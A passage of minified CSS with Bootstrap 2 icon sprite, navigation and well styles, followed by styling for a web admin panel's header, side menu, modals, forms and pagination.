0}.icon-th-large{background-position:-216px 0}.icon-th{background-position:-240px 0}.icon-th-list{background-position:-264px 0}.icon-ok{background-position:-288px 0}.icon-remove{background-position:-312px 0}.icon-zoom-in{background-position:-336px 0}.icon-zoom-out{background-position:-360px 0}.icon-off{background-position:-384px 0}.icon-signal{background-position:-408px 0}.icon-cog{background-position:-432px 0}.icon-trash{background-position:-456px 0}.icon-home{background-position:0 -24px}.icon-file{background-position:-24px -24px}.icon-time{background-position:-48px -24px}.icon-road{background-position:-72px -24px}.icon-download-alt{background-position:-96px -24px}.icon-download{background-position:-120px -24px}.icon-upload{background-position:-144px -24px}.icon-inbox{background-position:-168px -24px}.icon-play-circle{background-position:-192px -24px}.icon-repeat{background-position:-216px -24px}.icon-refresh{background-position:-240px -24px}.icon-list-alt{background-position:-264px -24px}.icon-lock{background-position:-287px -24px}.icon-flag{background-position:-312px -24px}.icon-headphones{background-position:-336px -24px}.icon-volume-off{background-position:-360px -24px}.icon-volume-down{background-position:-384px -24px}.icon-volume-up{background-position:-408px -24px}.icon-qrcode{background-position:-432px -24px}.icon-barcode{background-position:-456px -24px}.icon-tag{background-position:0 -48px}.icon-tags{background-position:-25px -48px}.icon-book{background-position:-48px -48px}.icon-bookmark{background-position:-72px -48px}.icon-print{background-position:-96px -48px}.icon-camera{background-position:-120px -48px}.icon-font{background-position:-144px -48px}.icon-bold{background-position:-167px -48px}.icon-italic{background-position:-192px -48px}.icon-text-height{background-position:-216px -48px}.icon-text-width{background-position:-240px -48px}.icon-align-left{background-position:-264px -48px}.icon-align-center{background-position:-288px -48px}.icon-align-right{background-position:-312px -48px}.icon-align-justify{background-position:-336px -48px}.icon-list{background-position:-360px -48px}.icon-indent-left{background-position:-384px -48px}.icon-indent-right{background-position:-408px -48px}.icon-facetime-video{background-position:-432px -48px}.icon-picture{background-position:-456px -48px}.icon-pencil{background-position:0 -72px}.icon-map-marker{background-position:-24px -72px}.icon-adjust{background-position:-48px -72px}.icon-tint{background-position:-72px -72px}.icon-edit{background-position:-96px -72px}.icon-share{background-position:-120px -72px}.icon-check{background-position:-144px -72px}.icon-move{background-position:-168px -72px}.icon-step-backward{background-position:-192px -72px}.icon-fast-backward{background-position:-216px -72px}.icon-backward{background-position:-240px -72px}.icon-play{background-position:-264px -72px}.icon-pause{background-position:-288px -72px}.icon-stop{background-position:-312px -72px}.icon-forward{background-position:-336px -72px}.icon-fast-forward{background-position:-360px -72px}.icon-step-forward{background-position:-384px -72px}.icon-eject{background-position:-408px -72px}.icon-chevron-left{background-position:-432px -72px}.icon-chevron-right{background-position:-456px -72px}.icon-plus-sign{background-position:0 -96px}.icon-minus-sign{background-position:-24px -96px}.icon-remove-sign{background-position:-48px -96px}.icon-ok-sign{background-position:-72px -96px}.icon-question-sign{background-position:-96px -96px}.icon-info-sign{background-position:-120px -96px}.icon-screenshot{background-position:-144px -96px}.icon-remove-circle{background-position:-168px -96px}.icon-ok-circle{background-position:-192px -96px}.icon-ban-circle{background-position:-216px -96px}.icon-arrow-left{background-position:-240px -96px}.icon-arrow-right{background-position:-264px -96px}.icon-arrow-up{background-position:-289px -96px}.icon-arrow-down{background-position:-312px -96px}.icon-share-alt{background-position:-336px -96px}.icon-resize-full{background-position:-360px -96px}.icon-resize-small{background-position:-384px -96px}.icon-plus{background-position:-408px -96px}.icon-minus{background-position:-433px -96px}.icon-asterisk{background-position:-456px -96px}.icon-exclamation-sign{background-position:0 -120px}.icon-gift{background-position:-24px -120px}.icon-leaf{background-position:-48px -120px}.icon-fire{background-position:-72px -120px}.icon-eye-open{background-position:-96px -120px}.icon-eye-close{background-position:-120px -120px}.icon-warning-sign{background-position:-144px -120px}.icon-plane{background-position:-168px -120px}.icon-calendar{background-position:-192px -120px}.icon-random{background-position:-216px -120px}.icon-comment{background-position:-240px -120px}.icon-magnet{background-position:-264px -120px}.icon-chevron-up{background-position:-288px -120px}.icon-chevron-down{background-position:-313px -119px}.icon-retweet{background-position:-336px -120px}.icon-shopping-cart{background-position:-360px -120px}.icon-folder-close{background-position:-384px -120px}.icon-folder-open{background-position:-408px -120px}.icon-resize-vertical{background-position:-432px -119px}.icon-resize-horizontal{background-position:-456px -118px}.icon-hdd{background-position:0 -144px}.icon-bullhorn{background-position:-24px -144px}.icon-bell{background-position:-48px -144px}.icon-certificate{background-position:-72px -144px}.icon-thumbs-up{background-position:-96px -144px}.icon-thumbs-down{background-position:-120px -144px}.icon-hand-right{background-position:-144px -144px}.icon-hand-left{background-position:-168px -144px}.icon-hand-up{background-position:-192px -144px}.icon-hand-down{background-position:-216px -144px}.icon-circle-arrow-right{background-position:-240px -144px}.icon-circle-arrow-left{background-position:-264px -144px}.icon-circle-arrow-up{background-position:-288px -144px}.icon-circle-arrow-down{background-position:-312px -144px}.icon-globe{background-position:-336px -144px}.icon-wrench{background-position:-360px -144px}.icon-tasks{background-position:-384px -144px}.icon-filter{background-position:-408px -144px}.icon-briefcase{background-position:-432px -144px}.icon-fullscreen{background-position:-456px -144px}.nav{margin-bottom:18px;margin-left:0;list-style:none}.nav>li>a{display:block}.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>.pull-right{float:right}.nav .nav-header{display:block;padding:3px 15px;font-weight:bold;line-height:18px;text-shadow:0 1px 0 rgba(255,255,255,0.5);text-transform:uppercase}.nav li+.nav-header{margin-top:9px}.nav-list{padding-right:15px;padding-left:15px;margin-bottom:0}.nav-list>li>a,.nav-list .nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.nav-list>li>a{padding:3px 15px}.nav-list>.active>a,.nav-list>.active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.2);background-color:#08c}.nav-list [class^="icon-"]{margin-right:2px}.nav-list .divider{*width:100%;height:1px;margin:8px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.nav-tabs,.nav-pills{*zoom:1}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:""}.nav-tabs:after,.nav-pills:after{clear:both}.nav-tabs>li,.nav-pills>li{float:left}.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{margin-bottom:-1px}.nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:18px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nav-pills>.active>a,.nav-pills>.active>a:hover{color:#fff;background-color:#08c}.nav-stacked>li{float:none}.nav-stacked>li>a{margin-right:0}.nav-tabs.nav-stacked{border-bottom:0}.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.nav-tabs.nav-stacked>li>a:hover{z-index:2;border-color:#ddd}.nav-pills.nav-stacked>li>a{margin-bottom:3px}.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px}.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px}.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.nav-tabs .dropdown-toggle .caret,.nav-pills .dropdown-toggle .caret{margin-top:6px;border-top-color:#08c;border-bottom-color:#08c}.nav-tabs .dropdown-toggle:hover .caret,.nav-pills .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580}.nav-tabs .active .dropdown-toggle .caret,.nav-pills .active .dropdown-toggle .caret{border-top-color:#333;border-bottom-color:#333}.nav>.dropdown.active>a:hover{color:#000;cursor:pointer}.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover{color:#fff;background-color:#999;border-color:#999}.nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret{border-top-color:#fff;border-bottom-color:#fff;opacity:1;filter:alpha(opacity=100)}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0,0,0,0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +@charset "utf-8";html,body{min-height:100%}body{-webkit-text-size-adjust:none}body>.x:first-child{min-width:300px;max-width:1240px;margin:0 auto}body>.x,.x label,.x table,.x input,.x textarea,.x select,.x button{font-size:13px}.x strong,.x th{font-weight:600}.x em,.x dfn{font-style:normal}.x [disabled]{cursor:not-allowed}.x [hidden]{display:none}.x a[target="_blank"]:after{content:"";display:inline-block;width:14px;height:14px;vertical-align:middle;margin:-2px 0 0 2px;background-position:-120px -72px;opacity:.3;filter:alpha(opacity=30)}.x a[target="_blank"]:hover:after,.x a[target="_blank"]:focus:after{opacity:.7;filter:alpha(opacity=70)}.x mark{background-color:#FF0;color:#000}.x .x_page-header{margin-top:10px;padding-bottom:0;border-bottom:2px solid #ddd}.x .x_page-header>h1{position:relative;margin-bottom:0;font-size:24px;color:#333}.x .x_page-header>h1>.x_icon-question-sign{margin:0}.x .x_page-header>h1>.path+.x_icon-question-sign{margin:4px 0 0 0}.x .x_icon-question-sign{vertical-align:middle}.x h1,.x h2,.x h3,.x h4,.x h5,.x h6{line-height:1.5;font-weight:600;color:#666;text-rendering:auto}.x h1{font-size:22px}.x h2{font-size:18px}.x h3{font-size:14px}.x h4,.x h5,.x h6{font-size:12px}.x [class^="x_icon-"],.x [class*=" x_icon-"]{text-decoration:none;border:0;padding:0 0 0 14px;width:0;background-color:transparent;overflow:hidden;font-size:0}.x .x_close{width:32px;height:32px;font-size:17px;opacity:.5;filter:alpha(opacity=50)}.x .x_alert{position:relative}.x .x_alert>.x_close{position:absolute;top:0;right:0}.x .x_pagination{height:26px;margin:10px 0 0 0}.x .x_pagination ul>li>a,.x .x_pagination ul>li>span,.x .x_pagination ul>li>strong{line-height:24px;padding:0 8px}.x .x_pagination ul>.x_active>a,.x .x_pagination ul>.x_active>span,.x .x_pagination ul>.x_active>strong{line-height:26px;border:0;background-color:#333!important;color:#fff;font-weight:bold;font-size:18px;font-family:Arial,Helvetica,sans-serif;border-radius:2px}.x .x_pagination [id^="goTo"]{display:none;margin:0;padding:0}.x .x_pagination [id^="goTo"]>*{border:0;border-radius:0}.x .x_pagination [id^="goTo"]>[type="number"]{height:16px;line-height:16px;width:50px;text-align:center}.x .x_pagination [id^="goTo"]>[type="submit"]{line-height:24px;height:24px;padding:0 6px}.x .btn{color:#333}.x .x_btn{border-radius:2px;overflow:visible;font-size:14px;line-height:18px;padding:3px 9px;text-decoration:none!important}.x .x_btn-large{font-size:16px;padding:9px 14px;font-weight:bold}.x .x_btn-small{font-size:14px}.x .x_btn-mini{font-size:11px;padding:1px 6px;line-height:17px}.x .x_btn-link{padding:0;margin:0;overflow:visible;font-size:13px;border:0}.x .x_btn-group{zoom:1}.x .x_btn-group:after{content:"";display:block;clear:both}.x .x_btn-group>.x_btn{border-radius:0}.x .x_btn-group>.x_btn:last-child,.x .x_btn-group>.x_dropdown-toggle{border-top-right-radius:2px;border-bottom-right-radius:2px}.x .x_btn-group>.x_btn:first-child{border-bottom-left-radius:2px;border-top-left-radius:2px}.x .x_btn-group>.x_btn-inverse+.x_btn-inverse{border-left-color:#555}.x input[type="radio"],.x input[type="checkbox"]{margin:0}.x input[type="file"]{height:auto}.x td select,.x td textarea,.x td input{margin-bottom:0}.x [class*="x_icon-"]{opacity:.5;filter:alpha(opacity=50)}.x [class*="x_icon-"]:hover,.x [class*="x_icon-"]:focus,.x *:hover>[class*="x_icon-"],.x *:focus>[class*="x_icon-"]{opacity:1;filter:alpha(opacity=100)}.x .x_nav-tabs>li>a{padding-top:6px;padding-bottom:6px;text-decoration:none!important}.x .x_nav-tabs>li.x_active>a{font-weight:bold}.x .x_table{margin:10px 0;border-top:2px solid #ddd;border-bottom:1px solid #ddd}.x h1+.x_table{border-top:0;margin-top:-10px}.x .x_table>caption{text-align:left;padding:0 0 10px 0;line-height:26px}.x .x_table>caption>a,.x .x_table>caption>i,.x .x_table>caption>strong{position:relative;top:7px}.x .x_table thead th{vertical-align:top}.x .x_table input{margin:0}.x .x_inline{display:inline-block;*display:inline;*zoom:1;}.x .x_page-header+.x_form-horizontal{margin-top:-20px}.x .x_controls:after{content:"";display:block;clear:both}.x label.checked,.x input:checked+label,.x .x_form-horizontal .x_control-label{font-weight:bold;word-break:keep-all}.x .x_form-horizontal .x_control-label{width:180px}.x .x_form-horizontal .x_controls{margin-left:200px;*margin-left:0;}.x .x_form-horizontal .x_controls label{padding:5px 0;margin-bottom:0}.x input[type="radio"]+label,.x input[type="checkbox"]+label{font-weight:normal}.x label.x_inline{margin-right:16px}.x .x_input-append>*{vertical-align:top}.x .x_input-append a.x_add-on,.x .x_input-prepend a.x_add-on{height:16px;line-height:16px}.x .x_input-append button.x_add-on,.x .x_input-prepend button.x_add-on{height:24px;line-height:16px}.x .x_modal-header{padding:10px 15px;border-bottom:1px solid #aaa;background-color:#333;border-radius:5px 5px 0 0;background-image:-webkit-linear-gradient(top,#666,#333 50%,#000 50%,#333 100%);background-image:-moz-linear-gradient(top,#666,#333 50%,#000 50%,#333 100%);background-image:-o-linear-gradient(top,#666,#333 50%,#000 50%,#333 100%);background-image:linear-gradient(top,#666,#333 50%,#000 50%,#333 100%)}.x .x_modal-header>h1,.x .x_modal-header>h2,.x .x_modal-header>h3{font-size:16px;line-height:30px;margin:0;color:#fff;text-shadow:0 -1px 0 #000}.x .x_modal-body{overflow-y:visible;max-height:none}.x_modal,.x_modal-backdrop{display:none}.x_modal-backdrop{opacity:.6;filter:alpha(opacity=60)}.x_modal{padding:0;width:90%;margin:0 0 0 -45%;max-width:none;border-radius:6px}.x_modal>form{margin:0!important}.x_modal>.x_close{position:absolute;top:8px;right:10px;font-size:21px;color:#fff}.x_modal .x_modal-body{background:#fff;min-height:50px;overflow-y:auto;max-height:400px}.x_modal-body:after{content:"";display:block;clear:both}.x .x_control-group{padding-top:8px;border-top:1px dotted #ddd;clear:both}.x .x_control-group:before{content:"";display:block;clear:both}.x .x_control-group:first-child,.x .x_control-group:first-of-type{border-top:0;padding-top:0}.x .x_control-group select{width:auto;min-width:220px}.x .x_form-horizontal .x_control-group{margin-bottom:10px}.x input[type="text"],.x input[type="password"],.x input[type="datetime"],.x input[type="datetime-local"],.x input[type="date"],.x input[type="month"],.x input[type="time"],.x input[type="week"],.x input[type="number"],.x input[type="email"],.x input[type="url"],.x input[type="search"],.x input[type="tel"],.x input[type="color"]{height:16px;line-height:16px}.x input[type="number"]{width:50px}.x select{padding:0;height:26px;line-height:26px}.x select[multiple]{height:auto}.x textarea{vertical-align:top}.x .x_tab-content{overflow:visible}.x .x_well>*:first-child{margin-top:0}.x .x_well>*:last-child{margin-bottom:0}.x legend{font-size:14px;font-weight:bold;line-height:24px}.x label{font-weight:inherit}.x label:only-child{margin-bottom:0}.x td p,.x p:last-child{margin-bottom:0}.x form{margin:0 0 10px 0}.x form .x_btn[type="submit"]:only-child{min-width:120px}.x .x_help-inline{display:inline}.x .x_btn.x_disabled,.x .x_btn[disabled]{opacity:.5;filter:alpha(opacity=50);cursor:not-allowed}@media all and (max-width:980px){.x .x_form-horizontal .x_control-label{float:none;width:auto;text-align:left}.x .x_form-horizontal .x_controls{margin-left:0}}.x .section{margin:20px 0 40px 0}.x .section>h1{position:relative;border-bottom:1px solid #ddd}.x .section>h1>.snToggle{position:absolute;bottom:0;right:0;width:32px;height:32px;opacity:.5;filter:alpha(opacity=50)}.x .section>h1>.snToggle.x_icon-chevron-up{background-position:-279px -112px}.x .section>h1>.snToggle.x_icon-chevron-down{background-position:-303px -111px}.x .section>h2{position:relative;border-bottom:1px dotted #ddd}.x .section>h2+.x_control-group{border-top:0}.x .section.collapsed>*{display:none}.x .section.collapsed>h1{display:block}.x .center{text-align:center}.x .search{margin:10px 0 0 0}.x .search select{width:auto}.x .search>input[type="search"]{height:16px;line-height:16px;width:120px}.x .vr{color:#ccc;font-style:normal}.x .nowr{white-space:nowrap}.x .btnArea{padding:10px 0;margin:10px 0;border-top:1px solid #ccc;text-align:right;zoom:1;clear:both}.x .btnArea:after{content:"";display:block;clear:both}.x li.active>a,.x a.active{color:#000;font-weight:bold;text-decoration:none}.x .module_search+[readonly]{vertical-align:top;border-top-right-radius:0;border-bottom-right-radius:0}.x .module_search+[readonly]+a.x_btn{vertical-align:top;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:-5px}.x .fileBtn{position:relative;display:inline-block;overflow:hidden}.x .fileBtn>input[type="file"]{position:absolute;top:0;right:0;margin:0;padding:0;border:0;outline:0;cursor:pointer;opacity:0;filter:alpha(opacity=0);-webkit-transform:scale(4);-webkit-transform-origin:100% 0;-moz-transform:scale(4);-moz-transform-origin:100% 0;-o-transform:scale(4);-o-transform-origin:100% 0;transform:scale(4);transform-origin:100% 0}.x td>form,.x td>p:only-of-type,.x td>p:last-of-type{margin:0}.x [data-display="none"]{display:none}.x .x_page-header .path{font-size:14px;display:inline-block}.x .x_page-header .path:first-letter {color:#ccc;font-weight:normal}.x [data-toggle]+.x_help-block{margin-top:10px}.x input.switch{width:42px;height:16px;opacity:0;filter:alpha(opacity=0);position:relative;z-index:2}.x input.switch+i{position:relative!important;z-index:1;left:auto!important;top:auto!important;right:auto!important;bottom:auto!important;margin:0 0 0 -42px!important;opacity:1!important;filter:alpha(opacity=100)!important;padding:0;vertical-align:middle;display:inline-block;width:42px;height:16px;background-image:url(../../../../modules/admin/tpl/img/toggleSwitch.png)!important;background-repeat:no-repeat}.x input[checked].switch+i{background-position:0 -16px!important}.x_modal._common{width:600px;margin-left:-300px}.x_modal._common._small{width:400px;margin-left:-200px}@media all and (max-width:650px){.x_modal._common{width:90%;margin-left:-45%}}@media all and (max-width:450px){.x_modal._common._small{width:90%;margin-left:-45%}}.x_modal._common._nobody .x_modal-body,.x_modal._common._type_alert .x_modal-header,.x_modal._common._type_alert ._cancel{display:none}.x_modal._common._type_alert .x_modal-body{border-radius:6px 6px 0 0}.x_modal._common._nobody .x_modal-footer{border-top:0}.x_modal-body.showTree .moveList{float:left;width:60%}.x_modal-body.showTree .moveTree{display:block!important;float:right;width:38%}.x_modal-body.showTree .moveTree>h1{font-size:13px;color:#333;border-bottom:2px solid #ddd;padding:10px 0 7px 0}@media all and (max-width:960px){.x_modal-body.showTree .moveList,.x_modal-body.showTree .moveTree{float:none;width:auto}}.x a[target="_blank"]:after,.x>.body>.gnb>ul>li>a>i,.x .dashboard>div>section>h2:before{background-image:url(../img/glyphicons-halflings.png);background-repeat:no-repeat}.x>.body>.gnb>ul>li.open>a>i,.x>.body>.gnb>ul>li.active>a>i,.x_modal-body .tree .jstree-hovered>i,.x_modal-body .tree .jstree-clicked>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat}@media all and (max-width:800px){.x>.body>.gnb>ul>li:first-child>a>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat}}.x>.skipNav{margin:0}.x>.skipNav>a{display:block;height:1px;text-align:center;border-radius:4px;overflow:hidden;color:#333;text-decoration:none}.x>.skipNav>a:focus{height:auto;margin:5px 0;padding:8px 0;background:#fff}.x>.header{position:relative;z-index:2;padding:10px 15px;zoom:1;border-bottom:1px solid #ddd;background-color:#fff;zoom:1}.x>.header:after{content:"";display:block;clear:both}.x>.header:before{content:"";position:absolute;bottom:0;left:1px;right:1px;height:1px;box-shadow:0 2px 3px #ddd}.x>.body{position:relative;zoom:1;padding:0 0 50px 215px;z-index:1}.x>.body.wide{padding-left:70px}.x>.body:after{content:"";display:block;clear:both}.x>.body>.content{width:100%;padding:1px 0 0 0;float:right;margin:0 0 0 -100%;outline:0}.x>.body>.content>*:first-child{margin-top:0}.x>.body>.gnb{width:180px;position:relative;margin:15px 0 0 -215px;float:left;display:inline}.x>.body.wide>.gnb{width:38px;margin-left:-70px}@media all and (max-width:800px){.x>.header{border-bottom:0}.x>.header:before{content:normal}.x>.body,.x>.body.wide{padding:0}.x>.body>.content{width:auto;padding:1px 10px 0 10px;float:none;margin:0 0 30px 0}.x>.body>.gnb{float:none;display:block;width:auto;margin:0!important;border-radius:0;position:relative;top:auto;left:auto}.x>.body.wide>.gnb{width:auto}}.x>.header>h1{display:inline-block;*display:inline;zoom:1;margin:0 15px 0 0;white-space:nowrap}.x>.header>h1>a{text-decoration:none;color:#333;font-size:24px;line-height:40px;font-family:Arial,Helvetica,sans-serif}.x>.header>h1>a>img{vertical-align:middle}.x>.header>.site{display:inline-block;*display:inline;zoom:1;margin:14px 0 0 0;font-size:11px}.x>.header>.site>a{text-decoration:none;color:#666;font-family:Tahoma,Geneva,sans-serif}.x>.header>.site>a:hover,.x>.header>.site>a:focus{text-decoration:underline}.x>.header>.account{float:right;position:relative;margin:13px 0 0 0}.x>.header>.account>ul{list-style:none;margin:0;padding:0}.x>.header>.account>ul>li{display:inline}.x>.header>.account>ul>li:before{content:"| ";color:#ddd}.x>.header>.account>ul>li:first-child:before{content:normal}.x>.header>.account>ul>li>a{text-decoration:none;color:#666}.x>.header>.account>ul>li>a:hover,.x>.header>.account>ul>li>a:focus{text-decoration:underline}.x>.header>.account .lang+#lang{position:absolute;top:20px;left:auto;right:0;min-width:0}.x>.header>.account .lang+#lang a:focus,.x>.header>.account .lang+#lang a:hover{background:none;color:#333}.x>.header>.account .lang+#lang .x_active>a{color:#fff;background:#0081c2 -webkit-linear-gradient(top,#08c,#0077b3);background:#0081c2 -moz-linear-gradient(top,#08c,#0077b3);background:#0081c2 -o-linear-gradient(top,#08c,#0077b3)}@media all and (max-width:480px){.x>.header>.site{margin-top:0}}@media all and (max-width:800px){.x>.header>.account{margin-top:0}}.x>.footer{border-top:1px solid #ddd;padding:10px 15px;zoom:1}.x>.footer:after{content:"";display:block;clear:both}.x>.footer>p{margin:0}.x>.footer>.power{float:left;color:#666}.x>.footer>.cache{float:right}.x>.footer>.cache>*{color:#666}.x>.footer .vr{color:#ccc!important}.x>.body>.gnb ul{margin:0;padding:0;list-style:none}.x>.body>.gnb>ul{position:relative;z-index:1;box-shadow:0 0 4px #ccc;border:2px solid #fff}.x>.body>.gnb a{text-decoration:none;text-shadow:0 1px 0 #fff;color:#000;display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.x>.body>.gnb>a[href="#gnbNav"]{display:block;position:absolute;z-index:2;white-space:nowrap;font-size:0;top:50%;right:-14px;background:#eee;width:12px;height:50px;border-radius:0 3px 3px 0;margin:-25px 0 0 0;border:1px solid #ddd;border-left:0;overflow:hidden;text-indent:20px}.x>.body.wide>.gnb>a[href="#gnbNav"]>b{border-color:transparent;border-left-color:#666;margin:-4px 0 0 -2px}.x>.body>.gnb>a[href="#gnbNav"]>b{width:0;height:0;position:absolute;top:50%;left:50%;margin:-4px 0 0 -6px;border:4px solid;border-color:transparent;border-right-color:#666}.x>.body>.gnb>a>i{display:none}.x>.body>.gnb .exMenu{position:absolute;width:100%}.x>.body>.gnb .exMenu>button{width:100%;border:0;background:none;font-size:20px;line-height:25px}.x>.body>.gnb .exMenu>button>i{opacity:.5;filter:alpha(opacity=50);vertical-align:middle;text-indent:0}.x>.body>.gnb .exMenu>button:hover>i,.x>.body>.gnb .exMenu>button:focus>i{opacity:1;filter:alpha(opacity=100)}.x>.body>.gnb .exMenu .x_icon-chevron-up,.x>.body>.gnb>.ex .exMenu .x_icon-chevron-down{display:none}.x>.body>.gnb>.ex .exMenu .x_icon-chevron-up{display:inline-block}.x>.body>.gnb>ul>li[data-index="1"]{border-top-color:#eee}.x>.body>.gnb>ul>li[data-index="5"]{margin-bottom:25px}.x>.body>.gnb>ul>li[data-index="6"]{border-top-color:#eee}.x>.body>.gnb>ul>li[data-index="6"],.x>.body>.gnb>ul>li[data-index="7"]{display:none}.x>.body>.gnb>.ex>li[data-index="6"],.x>.body>.gnb>.ex>li[data-index="7"]{display:block}.x>.body>.gnb>ul>li[data-index].active_{display:none}@media all and (max-width:800px){.x>.body>.gnb>ul{border:0}.x>.body>.gnb>ul>li{display:none}.x>.body>.gnb.open>ul>li{display:block}.x>.body>.gnb.open>ul>li[data-index="6"],.x>.body>.gnb.open>ul>li[data-index="7"],.x>.body>.gnb>.ex>li[data-index="6"],.x>.body>.gnb>.ex>li[data-index="7"]{display:none}.x>.body>.gnb.open>.ex>li[data-index="6"],.x>.body>.gnb.open>.ex>li[data-index="7"]{display:block}.x>.body>.gnb>ul>li:first-child{display:block!important}.x>.body>.gnb>a[href="#gnbNav"],.x>.body.wide>.gnb>a[href="#gnbNav"]{top:0;right:0;line-height:37px;width:44px;height:auto;background:none;border-radius:0;margin:0;border:0}.x>.body>.gnb>a[href="#gnbNav"]{opacity:.5;filter:alpha(opacity=50%)}.x>.body>.gnb>a[href="#gnbNav"]:before{content:"";position:absolute;top:1px;left:0;width:1px;height:100%;border-left:1px solid #999}.x>.body>.gnb>a[href="#gnbNav"]>b{display:none}.x>.body>.gnb>a>i{display:block;position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px}}.x>.body>.gnb>ul>li{background:#3886d0;border-top:1px solid #fff;border-bottom:1px solid #ddd;vertical-align:top;white-space:nowrap}.x>.body>.gnb>ul>li.active{background:#222}.x>.body>.gnb>ul>li.open,.x>.body>.gnb>ul>li.active{border-bottom:0;padding:0 0 1px 0}.x>.body>.gnb>ul>li>a{position:relative;padding:8px 5px 8px 10px;background:#f1f1f1;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8)}.x>.body>.gnb>ul>li>a>i{display:inline-block;width:14px;height:14px;margin:-4px 4px 0 0;vertical-align:middle;opacity:.75;filter:alpha(opacity=75)}.x>.body>.gnb>ul>li>a>b{position:absolute;width:0;height:0;top:50%;right:10px;margin:-2px 0 0 0;border:4px solid transparent;border-top-color:#999}.x>.body>.gnb>ul>li.open>a>b{border-top:0;border-bottom-color:#fff}.x>.body.wide>.gnb>ul>li>a>b{display:none}.x>.body>.gnb>ul>li[data-index="1"]>a>i{background-position:-384px -144px}.x>.body>.gnb>ul>li[data-index="2"]>a>i{background-position:0 -24px}.x>.body>.gnb>ul>li[data-index="3"]>a>i{background-position:-168px 0}.x>.body>.gnb>ul>li[data-index="4"]>a>i{background-position:-48px -48px}.x>.body>.gnb>ul>li>a[href="#favorite"]>i{background-position:-120px 0}.x>.body>.gnb>ul>li[data-index="6"]>a>i{background-position:-360px -144px}.x>.body>.gnb>ul>li[data-index="7"]>a>i{background-position:-432px 0}.x>.body>.gnb>ul>li>a:hover,.x>.body>.gnb>ul>li>a:focus{background:#f6f6f6;background:-webkit-linear-gradient(top,#f6f6f6,#f1f1f1);background:-moz-linear-gradient(top,#f6f6f6,#f1f1f1);background:-o-linear-gradient(top,#f6f6f6,#f1f1f1);background:-ms-linear-gradient(top,#f6f6f6,#f1f1f1);background:linear-gradient(top,#f6f6f6,#f1f1f1)}.x>.body>.gnb>ul>li.open>a{font-weight:bold;color:#fff;text-shadow:0 -1px 0 #333;background:#3886d0;background:-webkit-linear-gradient(top,#6ebcea,#3886d0);background:-moz-linear-gradient(top,#6ebcea,#3886d0);background:-o-linear-gradient(top,#6ebcea,#3886d0);background:-ms-linear-gradient(top,#6ebcea,#3886d0);background:linear-gradient(top,#6ebcea,#3886d0)}.x>.body>.gnb>ul>li.active>a{font-weight:bold;color:#fff;text-shadow:none;background:#222;background:-webkit-linear-gradient(top,from(#555),to(#222));background:-moz-linear-gradient(top,#555,#222);background:-o-linear-gradient(top,#555,#222)}@media all and (max-width:800px){.x>.body>.gnb>ul>li:first-child>a{font-weight:bold;color:#fff;text-shadow:none;border-radius:3px;background-color:#222;background-image:-webkit-linear-gradient(top,#555,#222);background-image:-moz-linear-gradient(top,#555,#222);background-image:-o-linear-gradient(top,#555,#222);background-image:linear-gradient(top,#555,#222)}}.x>.body.wide>.gnb>ul>li>a>.tx{display:inline-block;width:1px;height:1px;overflow:hidden}.x>.body>.gnb>ul>li>ul{display:none;margin:0 10px 10px 10px;border-radius:4px}.x>.body>.gnb>ul>li.active>ul{display:block!important}.x>.body.wide>.gnb>ul>li>ul{display:none!important}.x>.body>.gnb>ul>li>ul>li{border-top:1px solid 